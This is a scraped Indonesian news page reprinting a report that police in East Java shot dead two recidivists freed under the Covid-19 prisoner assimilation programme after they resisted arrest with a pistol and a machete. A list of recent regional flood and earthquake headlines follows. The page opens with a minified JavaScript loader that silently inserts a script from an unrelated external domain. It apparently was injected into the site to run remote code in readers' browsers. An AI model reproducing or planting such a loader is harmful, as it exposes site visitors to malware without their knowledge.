(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Jawa Timur

Acungkan Parang Hingga Todong Polisi, Napi Asimilasi Ditembak Mati


KANALKALIMANTAN.COM, SURABAYA – Polisi benar-benar menindak tegas para narapidana yang telah bebas melalui program asimilasi dampak wabah virus corona atau Covid-19 di Surabaya, Jawa Timur yang kembali melakukan kejahatan.

Tak main-main, tindakan tegas yang dilakukan oleh aparat kepolisian ini berupa tembak mati. Tembak mati tersebut dilakukan terhadap dua mantan narapidana penerima program asimilasi pada Selasa (5/5/2020) dini hari.

Informasi yang dihimpun, mereka berdua yakni Zainul Arifin alias Pitik (36) dan M Imron Rosadi alias Baron (40). Mereka berdua berasal dari Kabupaten Pasuruan.

“Kedua pelaku baru bebas asimilasi pada tanggal 6 dan 7 April 2020 dari Lapas Lowokwaru, Malang,” ujar Kasubdit Jatanras Ditreskrimum Polda Jatim, Kompol Oki Ahadian Purwono di RSU dr Soetomo Surabaya.

Aparat kepolisian terpaksa melakukan tembak mati terhadap kedua bandit tersebut lantaran menyerang petugas menggunakan senjata api dan sebilah parang saat dilakukan penangkapan.

“Kedua pelaku kami lakukan tindakan tegas terukur karena melawan anggota menggunakan senpi dan senjata tajam saat kami sergap di kawasan Gempol, Pasuruan,” katanya.

Oki menjelaskan, tindakan tegas berupa tembak mati itu dilakukan bermula ketika dua pelaku dibuntuti oleh anggota di kawasan Gempol Pasuruan.

Sempat terjadi aksi kejar-kejaran sampai akhirnya salah satu pelaku mengarahkan tembakan satu kali ke arah anggota namun meleset.

“Sejumlah anggota Jatanras kemudian menghadang kedua pelaku, saat itu mereka mulai melawan menggunakan parang. Dari situlah akhirnya anggota kami melakukan tindakan terukur,” jelasnya.

Sementara itu, dari hasil penyelidikan yang dilakukan, kedua bandit ini sudah beraksi di tiga wilayah yakni Trenggalek, Blitar dan Tulungagung. Barang yang dicuri berupa motor dan mobil.

“Kedua pelaku ini merupakan residivis. Pelaku ZA sudah lima kali masuk penjara, sementara pelaku IR sudah enam kali,” tambahnya.

Dari hasil penyergapan, Tim Jatanras menyita sejumlah barang bukti berupa senpi jenis pistol lengkap dengan beberapa butir peluru tajam dan sebilah parang. (suara.com)

Reporter : suara.com
Editor : kk

 


Al Ghifari

Recent Posts

Sensasi Soto Apung Banjarmasin Santapan di Atas Lanting Sungai Martapura

KANALKALIMANTAN.COM, BANJARMASIN – Hidangan Soto Banjar disajikan di rumah lanting apung itu ketika sang surya… Read More

5 jam ago

Pascabanjir Bandang Warga Tebing Tinggi Mulai Tempati Rumah

KANALKALIMANTAN.COM, PARINGIN – Sepekan pascabanjir bandang menerjang Kecamatan Tebing Tinggi, Kabupaten Balangan, denyut kehidupan warga… Read More

6 jam ago

Bupati dan Sekda Banjar Jenguk Kondisi Warga Terdampak Banjir di Desa Pemakuan dan Pembantanan

KANALKALIMANTAN.COM, MARTAPURA - Genangan air di sejumlah kecamatan di Kabupaten Banjar masih belum menunjukkan penurunan… Read More

13 jam ago

Gempa Dangkal Terjadi di Balangan dan Kotabaru

KANALKALIMANTAN.COM, BANJARBARU - Aktivitas seismik di daratan Kalimantan kembali terjadi melalui rangkaian gempa tektonik dangkal… Read More

13 jam ago

Diterjang Banjir Bandang Jembatan Penghubung Desa Langkap – Raranum Putus

KANALKALIMANTAN.COM, PARINGIN - Jembatan penghubung antara Desa Langkap dan Desa Raranum, Kecamatan Tebing Tinggi, Kabupaten… Read More

16 jam ago

Banjir Balangan Meluas 13.531 Jiwa Terdampak di 30 Desa

KANALKALIMANTAN.COM, PARINGIN – Pascabanjir bandang di Kabupaten Balangan memasuki hari keempat. Data terbaru menunjukkan jumlah… Read More

16 jam ago

This website uses cookies.